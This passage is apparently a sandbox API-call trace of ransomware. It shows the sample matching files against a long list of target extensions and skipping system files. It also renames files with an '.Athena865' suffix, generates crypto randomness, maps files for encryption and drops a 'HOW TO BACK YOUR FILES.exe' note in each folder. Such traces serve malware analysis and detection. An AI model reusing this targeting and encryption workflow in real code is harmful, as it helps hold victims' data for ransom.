(lpString="fp5") returned 3 [0150.175] lstrcmpiW (lpString1="ACL", lpString2="fp5") returned -1 [0150.175] lstrlenW (lpString="fp7") returned 3 [0150.175] lstrcmpiW (lpString1="ACL", lpString2="fp7") returned -1 [0150.175] lstrlenW (lpString="fpt") returned 3 [0150.175] lstrcmpiW (lpString1="ACL", lpString2="fpt") returned -1 [0150.175] lstrlenW (lpString="frm") returned 3 [0150.175] lstrcmpiW (lpString1="ACL", lpString2="frm") returned -1 [0150.175] lstrlenW (lpString="gdb") returned 3 [0150.175] lstrcmpiW (lpString1="ACL", lpString2="gdb") returned -1 [0150.175] lstrlenW (lpString="gdb") returned 3 [0150.175] lstrcmpiW (lpString1="ACL", lpString2="gdb") returned -1 [0150.175] lstrlenW (lpString="grdb") returned 4 [0150.175] lstrcmpiW (lpString1=".ACL", lpString2="grdb") returned -1 [0150.175] lstrlenW (lpString="gwi") returned 3 [0150.175] lstrcmpiW (lpString1="ACL", lpString2="gwi") returned -1 [0150.175] lstrlenW (lpString="hdb") returned 3 [0150.175] lstrcmpiW (lpString1="ACL", lpString2="hdb") returned -1 [0150.175] lstrlenW (lpString="his") returned 3 [0150.175] lstrcmpiW (lpString1="ACL", lpString2="his") returned -1 [0150.175] lstrlenW (lpString="ib") returned 2 [0150.175] lstrcmpiW (lpString1="CL", lpString2="ib") returned -1 [0150.176] lstrlenW (lpString="idb") returned 3 [0150.176] lstrcmpiW (lpString1="ACL", lpString2="idb") returned -1 [0150.176] lstrlenW (lpString="ihx") returned 3 [0150.176] lstrcmpiW (lpString1="ACL", lpString2="ihx") returned -1 [0150.176] lstrlenW (lpString="itdb") returned 4 [0150.176] lstrcmpiW (lpString1=".ACL", lpString2="itdb") returned -1 [0150.176] lstrlenW (lpString="itw") returned 3 [0150.176] lstrcmpiW (lpString1="ACL", lpString2="itw") returned -1 [0150.176] lstrlenW (lpString="jet") returned 3 [0150.176] lstrcmpiW (lpString1="ACL", lpString2="jet") returned -1 [0150.176] lstrlenW (lpString="jtx") returned 3 [0150.176] lstrcmpiW (lpString1="ACL", lpString2="jtx") returned -1 [0150.176] lstrlenW (lpString="kdb") returned 3 [0150.176] lstrcmpiW (lpString1="ACL", lpString2="kdb") returned -1 [0150.176] lstrlenW (lpString="kexi") returned 4 [0150.176] lstrcmpiW (lpString1=".ACL", lpString2="kexi") returned -1 [0150.176] lstrlenW (lpString="kexic") returned 5 [0150.176] lstrcmpiW (lpString1="O.ACL", lpString2="kexic") returned 1 [0150.176] lstrlenW (lpString="kexis") returned 5 [0150.176] lstrcmpiW (lpString1="O.ACL", lpString2="kexis") returned 1 [0150.176] lstrlenW (lpString="lgc") returned 3 [0150.176] lstrcmpiW (lpString1="ACL", lpString2="lgc") returned -1 [0150.176] lstrlenW (lpString="lwx") returned 3 [0150.176] lstrcmpiW (lpString1="ACL", lpString2="lwx") returned -1 [0150.176] lstrlenW (lpString="maf") returned 3 [0150.176] lstrcmpiW (lpString1="ACL", lpString2="maf") returned -1 [0150.176] lstrlenW (lpString="maq") returned 3 [0150.176] lstrcmpiW (lpString1="ACL", lpString2="maq") returned -1 [0150.177] lstrlenW (lpString="mar") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="mar") returned -1 [0150.177] lstrlenW (lpString="marshal") returned 7 [0150.177] lstrlenW (lpString="mas") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="mas") returned -1 [0150.177] lstrlenW (lpString="mav") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="mav") returned -1 [0150.177] lstrlenW (lpString="maw") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="maw") returned -1 [0150.177] lstrlenW (lpString="mdbhtml") returned 7 [0150.177] lstrlenW (lpString="mdn") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="mdn") returned -1 [0150.177] lstrlenW (lpString="mdt") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="mdt") returned -1 [0150.177] lstrlenW (lpString="mfd") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="mfd") returned -1 [0150.177] lstrlenW (lpString="mpd") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="mpd") returned -1 [0150.177] lstrlenW (lpString="mrg") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="mrg") returned -1 [0150.177] lstrlenW (lpString="mud") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="mud") returned -1 [0150.177] lstrlenW (lpString="mwb") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="mwb") returned -1 [0150.177] lstrlenW (lpString="myd") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="myd") returned -1 [0150.177] lstrlenW (lpString="ndf") returned 3 [0150.177] lstrcmpiW (lpString1="ACL", lpString2="ndf") returned -1 [0150.177] lstrlenW (lpString="nnt") returned 3 [0150.178] lstrcmpiW (lpString1="ACL", lpString2="nnt") returned -1 [0150.178] lstrlenW (lpString="nrmlib") returned 6 [0150.178] lstrcmpiW (lpString1="SO.ACL", lpString2="nrmlib") returned 1 [0150.178] lstrlenW (lpString="ns2") returned 3 [0150.178] lstrcmpiW (lpString1="ACL", lpString2="ns2") returned -1 [0150.178] lstrlenW (lpString="ns3") returned 3 [0150.178] lstrcmpiW (lpString1="ACL", lpString2="ns3") returned -1 [0150.178] lstrlenW (lpString="ns4") returned 3 [0150.178] lstrcmpiW (lpString1="ACL", lpString2="ns4") returned -1 [0150.178] lstrlenW (lpString="nsf") returned 3 [0150.178] lstrcmpiW (lpString1="ACL", lpString2="nsf") returned -1 [0150.178] lstrlenW (lpString="nv") returned 2 [0150.178] lstrcmpiW (lpString1="CL", lpString2="nv") returned -1 [0150.178] lstrlenW (lpString="nv2") returned 3 [0150.178] lstrcmpiW (lpString1="ACL", lpString2="nv2") returned -1 [0150.178] lstrlenW (lpString="nwdb") returned 4 [0150.178] lstrcmpiW (lpString1=".ACL", lpString2="nwdb") returned -1 [0150.178] lstrlenW (lpString="nyf") returned 3 [0150.178] lstrcmpiW (lpString1="ACL", lpString2="nyf") returned -1 [0150.178] lstrlenW (lpString="odb") returned 3 [0150.178] lstrcmpiW (lpString1="ACL", lpString2="odb") returned -1 [0150.178] lstrlenW (lpString="odb") returned 3 [0150.178] lstrcmpiW (lpString1="ACL", lpString2="odb") returned -1 [0150.178] lstrlenW (lpString="oqy") returned 3 [0150.178] lstrcmpiW (lpString1="ACL", lpString2="oqy") returned -1 [0150.178] lstrlenW (lpString="ora") returned 3 [0150.178] lstrcmpiW (lpString1="ACL", lpString2="ora") returned -1 [0150.178] lstrlenW (lpString="orx") returned 3 [0150.178] lstrcmpiW (lpString1="ACL", lpString2="orx") returned -1 [0150.179] lstrlenW (lpString="owc") returned 3 [0150.179] lstrcmpiW (lpString1="ACL", lpString2="owc") returned -1 [0150.179] lstrlenW (lpString="p96") returned 3 [0150.179] lstrcmpiW (lpString1="ACL", lpString2="p96") returned -1 [0150.179] lstrlenW (lpString="p97") returned 3 [0150.179] lstrcmpiW (lpString1="ACL", lpString2="p97") returned -1 [0150.179] lstrlenW (lpString="pan") returned 3 [0150.179] lstrcmpiW (lpString1="ACL", lpString2="pan") returned -1 [0150.179] lstrlenW (lpString="pdb") returned 3 [0150.179] lstrcmpiW (lpString1="ACL", lpString2="pdb") returned -1 [0150.179] lstrlenW (lpString="pdm") returned 3 [0150.179] lstrcmpiW (lpString1="ACL", lpString2="pdm") returned -1 [0150.179] lstrlenW (lpString="pnz") returned 3 [0150.179] lstrcmpiW (lpString1="ACL", lpString2="pnz") returned -1 [0150.179] lstrlenW (lpString="qry") returned 3 [0150.179] lstrcmpiW (lpString1="ACL", lpString2="qry") returned -1 [0150.179] lstrlenW (lpString="qvd") returned 3 [0150.179] lstrcmpiW (lpString1="ACL", lpString2="qvd") returned -1 [0150.179] lstrlenW (lpString="rbf") returned 3 [0150.179] lstrcmpiW (lpString1="ACL", lpString2="rbf") returned -1 [0150.179] lstrlenW (lpString="rctd") returned 4 [0150.179] lstrcmpiW (lpString1=".ACL", lpString2="rctd") returned -1 [0150.179] lstrlenW (lpString="rod") returned 3 [0150.179] lstrcmpiW (lpString1="ACL", lpString2="rod") returned -1 [0150.179] lstrlenW (lpString="rodx") returned 4 [0150.179] lstrcmpiW (lpString1=".ACL", lpString2="rodx") returned -1 [0150.179] lstrlenW (lpString="rpd") returned 3 [0150.179] lstrcmpiW (lpString1="ACL", lpString2="rpd") returned -1 [0150.179] lstrlenW (lpString="rsd") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="rsd") returned -1 [0150.180] lstrlenW (lpString="sas7bdat") returned 8 [0150.180] lstrlenW (lpString="sbf") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="sbf") returned -1 [0150.180] lstrlenW (lpString="scx") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="scx") returned -1 [0150.180] lstrlenW (lpString="sdb") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="sdb") returned -1 [0150.180] lstrlenW (lpString="sdc") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="sdc") returned -1 [0150.180] lstrlenW (lpString="sdf") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="sdf") returned -1 [0150.180] lstrlenW (lpString="sis") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="sis") returned -1 [0150.180] lstrlenW (lpString="spq") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="spq") returned -1 [0150.180] lstrlenW (lpString="te") returned 2 [0150.180] lstrcmpiW (lpString1="CL", lpString2="te") returned -1 [0150.180] lstrlenW (lpString="teacher") returned 7 [0150.180] lstrlenW (lpString="tmd") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="tmd") returned -1 [0150.180] lstrlenW (lpString="tps") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="tps") returned -1 [0150.180] lstrlenW (lpString="trc") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="trc") returned -1 [0150.180] lstrlenW (lpString="trc") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="trc") returned -1 [0150.180] lstrlenW (lpString="trm") returned 3 [0150.180] lstrcmpiW (lpString1="ACL", lpString2="trm") returned -1 [0150.181] lstrlenW (lpString="udb") returned 3 [0150.181] lstrcmpiW (lpString1="ACL", lpString2="udb") returned -1 [0150.181] lstrlenW (lpString="udl") returned 3 [0150.181] lstrcmpiW (lpString1="ACL", lpString2="udl") returned -1 [0150.181] lstrlenW (lpString="usr") returned 3 [0150.181] lstrcmpiW (lpString1="ACL", lpString2="usr") returned -1 [0150.181] lstrlenW (lpString="v12") returned 3 [0150.181] lstrcmpiW (lpString1="ACL", lpString2="v12") returned -1 [0150.181] lstrlenW (lpString="vis") returned 3 [0150.181] lstrcmpiW (lpString1="ACL", lpString2="vis") returned -1 [0150.181] lstrlenW (lpString="vpd") returned 3 [0150.181] lstrcmpiW (lpString1="ACL", lpString2="vpd") returned -1 [0150.181] lstrlenW (lpString="vvv") returned 3 [0150.181] lstrcmpiW (lpString1="ACL", lpString2="vvv") returned -1 [0150.181] lstrlenW (lpString="wdb") returned 3 [0150.181] lstrcmpiW (lpString1="ACL", lpString2="wdb") returned -1 [0150.181] lstrlenW (lpString="wmdb") returned 4 [0150.181] lstrcmpiW (lpString1=".ACL", lpString2="wmdb") returned -1 [0150.181] lstrlenW (lpString="wrk") returned 3 [0150.181] lstrcmpiW (lpString1="ACL", lpString2="wrk") returned -1 [0150.181] lstrlenW (lpString="xdb") returned 3 [0150.181] lstrcmpiW (lpString1="ACL", lpString2="xdb") returned -1 [0150.181] lstrlenW (lpString="xld") returned 3 [0150.181] lstrcmpiW (lpString1="ACL", lpString2="xld") returned -1 [0150.181] lstrlenW (lpString="xmlff") returned 5 [0150.181] lstrcmpiW (lpString1="O.ACL", lpString2="xmlff") returned -1 [0150.181] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.Athena865") returned 65 [0150.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.athena865"), dwFlags=0x1) returned 1 [0150.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0150.184] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43558) returned 1 [0150.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0150.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0150.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0150.185] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0150.185] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0150.185] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.186] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xad30, lpName=0x0) returned 0x17c [0150.188] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xad30) returned 0x100000 [0150.190] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0150.191] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0150.191] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0150.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0150.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0150.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0150.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0150.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0150.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0150.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0150.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0150.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0150.192] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0150.192] CloseHandle (hObject=0x17c) returned 1 [0150.192] CloseHandle (hObject=0x154) returned 1 [0150.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0150.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0150.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0150.193] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0150.193] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0150.193] ReleaseMutex (hMutex=0xec) returned 1 [0150.193] CloseHandle (hObject=0xec) returned 1 [0150.193] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\3082" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082" [0150.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b878 | out: hHeap=0x4f0000) returned 1 [0150.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ce70 | out: hHeap=0x4f0000) returned 1 [0150.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned 47 [0150.193] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4002C0E1EC158DC90D5BCF33D92D85F6") returned 0xec [0150.193] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0150.193] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\3082" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082" [0150.193] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0150.194] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\how to back your files.exe"), bFailIfExists=1) returned 0 [0150.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0150.195] GetLastError () returned 0x0 [0150.195] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0150.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0150.195] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0150.196] CloseHandle (hObject=0xf4) returned 1 [0150.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0150.196] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0150.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcf137c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf137c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0150.196] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.196] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.197] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0150.197] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcf137c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf137c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.197] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.197] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.197] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0150.197] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0150.197] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf137c20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcf137c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0150.197] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0150.197] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2=".") returned 1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2="..") returned 1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2="windows") returned -1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2="bootmgr") returned 1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2="temp") returned -1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2="pagefile.sys") returned -1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2="boot") returned 1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2="ids.txt") returned 1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2="ntuser.dat") returned -1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2="perflogs") returned -1 [0150.197] lstrcmpiW (lpString1="MSO.ACL", lpString2="MSBuild") returned 1 [0150.197] lstrlenW (lpString="MSO.ACL") returned 7 [0150.197] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSO.ACL" | out: lpString1="MSO.ACL") returned="MSO.ACL" [0150.197] lstrlenW (lpString="MSO.ACL") returned 7 [0150.197] lstrlenW (lpString="Athena865") returned 9 [0150.197] lstrlenW (lpString=".dll") returned 4 [0150.198] lstrcmpiW (lpString1="MSO.ACL", lpString2=".dll") returned 1 [0150.198] lstrlenW (lpString=".lnk") returned 4 [0150.198] lstrcmpiW (lpString1="MSO.ACL", lpString2=".lnk") returned 1 [0150.198] lstrlenW (lpString=".ini") returned 4 [0150.198] lstrcmpiW (lpString1="MSO.ACL", lpString2=".ini") returned 1 [0150.198] lstrlenW (lpString=".sys") returned 4 [0150.198] lstrcmpiW (lpString1="MSO.ACL", lpString2=".sys") returned 1 [0150.198] lstrlenW (lpString="MSO.ACL") returned 7 [0150.198] lstrlenW (lpString="bak") returned 3 [0150.198] lstrcmpiW (lpString1="ACL", lpString2="bak") returned -1 [0150.198] lstrlenW (lpString="ba_") returned 3 [0150.198] lstrcmpiW (lpString1="ACL", lpString2="ba_") returned -1 [0150.198] lstrlenW (lpString="dbb") returned 3 [0150.198] lstrcmpiW (lpString1="ACL", lpString2="dbb") returned -1 [0150.198] lstrlenW (lpString="vmdk") returned 4 [0150.198] lstrcmpiW (lpString1=".ACL", lpString2="vmdk") returned -1 [0150.198] lstrlenW (lpString="rar") returned 3 [0150.198] lstrcmpiW (lpString1="ACL", lpString2="rar") returned -1 [0150.198] lstrlenW (lpString="zip") returned 3 [0150.198] lstrcmpiW (lpString1="ACL", lpString2="zip") returned -1 [0150.198] lstrlenW (lpString="tgz") returned 3 [0150.198] lstrcmpiW (lpString1="ACL", lpString2="tgz") returned -1 [0150.198] lstrlenW (lpString="vbox") returned 4 [0150.198] lstrcmpiW (lpString1=".ACL", lpString2="vbox") returned -1 [0150.198] lstrlenW (lpString="vdi") returned 3 [0150.198] lstrcmpiW (lpString1="ACL", lpString2="vdi") returned -1 [0150.198] lstrlenW (lpString="vhd") returned 3 [0150.198] lstrcmpiW (lpString1="ACL", lpString2="vhd") returned -1 [0150.198] lstrlenW (lpString="vhdx") returned 4 [0150.199] lstrcmpiW (lpString1=".ACL", lpString2="vhdx") returned -1 [0150.199] lstrlenW (lpString="avhd") returned 4 [0150.199] lstrcmpiW (lpString1=".ACL", lpString2="avhd") returned -1 [0150.199] lstrlenW (lpString="db") returned 2 [0150.199] lstrcmpiW (lpString1="CL", lpString2="db") returned -1 [0150.199] lstrlenW (lpString="db2") returned 3 [0150.199] lstrcmpiW (lpString1="ACL", lpString2="db2") returned -1 [0150.199] lstrlenW (lpString="db3") returned 3 [0150.199] lstrcmpiW (lpString1="ACL", lpString2="db3") returned -1 [0150.199] lstrlenW (lpString="dbf") returned 3 [0150.199] lstrcmpiW (lpString1="ACL", lpString2="dbf") returned -1 [0150.199] lstrlenW (lpString="mdf") returned 3 [0150.199] lstrcmpiW (lpString1="ACL", lpString2="mdf") returned -1 [0150.199] lstrlenW (lpString="mdb") returned 3 [0150.199] lstrcmpiW (lpString1="ACL", lpString2="mdb") returned -1 [0150.199] lstrlenW (lpString="sql") returned 3 [0150.199] lstrcmpiW (lpString1="ACL", lpString2="sql") returned -1 [0150.199] lstrlenW (lpString="sqlite") returned 6 [0150.199] lstrcmpiW (lpString1="SO.ACL", lpString2="sqlite") returned -1 [0150.199] lstrlenW (lpString="sqlite3") returned 7 [0150.199] lstrlenW (lpString="sqlitedb") returned 8 [0150.199] lstrlenW (lpString="xml") returned 3 [0150.199] lstrcmpiW (lpString1="ACL", lpString2="xml") returned -1 [0150.199] lstrlenW (lpString="$er") returned 3 [0150.199] lstrcmpiW (lpString1="ACL", lpString2="$er") returned 1 [0150.199] lstrlenW (lpString="4dd") returned 3 [0150.200] lstrcmpiW (lpString1="ACL", lpString2="4dd") returned 1 [0150.200] lstrlenW (lpString="4dl") returned 3 [0150.200] lstrcmpiW (lpString1="ACL", lpString2="4dl") returned 1 [0150.200] lstrlenW (lpString="^^^") returned 3 [0150.200] lstrcmpiW (lpString1="ACL", lpString2="^^^") returned 1 [0150.200] lstrlenW (lpString="abs") returned 3 [0150.200] lstrcmpiW (lpString1="ACL", lpString2="abs") returned 1 [0150.200] lstrlenW (lpString="abx") returned 3 [0150.200] lstrcmpiW (lpString1="ACL", lpString2="abx") returned 1 [0150.200] lstrlenW (lpString="accdb") returned 5 [0150.200] lstrcmpiW (lpString1="O.ACL", lpString2="accdb") returned 1 [0150.200] lstrlenW (lpString="accdc") returned 5 [0150.200] lstrcmpiW (lpString1="O.ACL", lpString2="accdc") returned 1 [0150.200] lstrlenW (lpString="accde") returned 5 [0150.200] lstrcmpiW (lpString1="O.ACL", lpString2="accde") returned 1 [0150.200] lstrlenW (lpString="accdr") returned 5 [0150.200] lstrcmpiW (lpString1="O.ACL", lpString2="accdr") returned 1 [0150.200] lstrlenW (lpString="accdt") returned 5 [0150.200] lstrcmpiW (lpString1="O.ACL", lpString2="accdt") 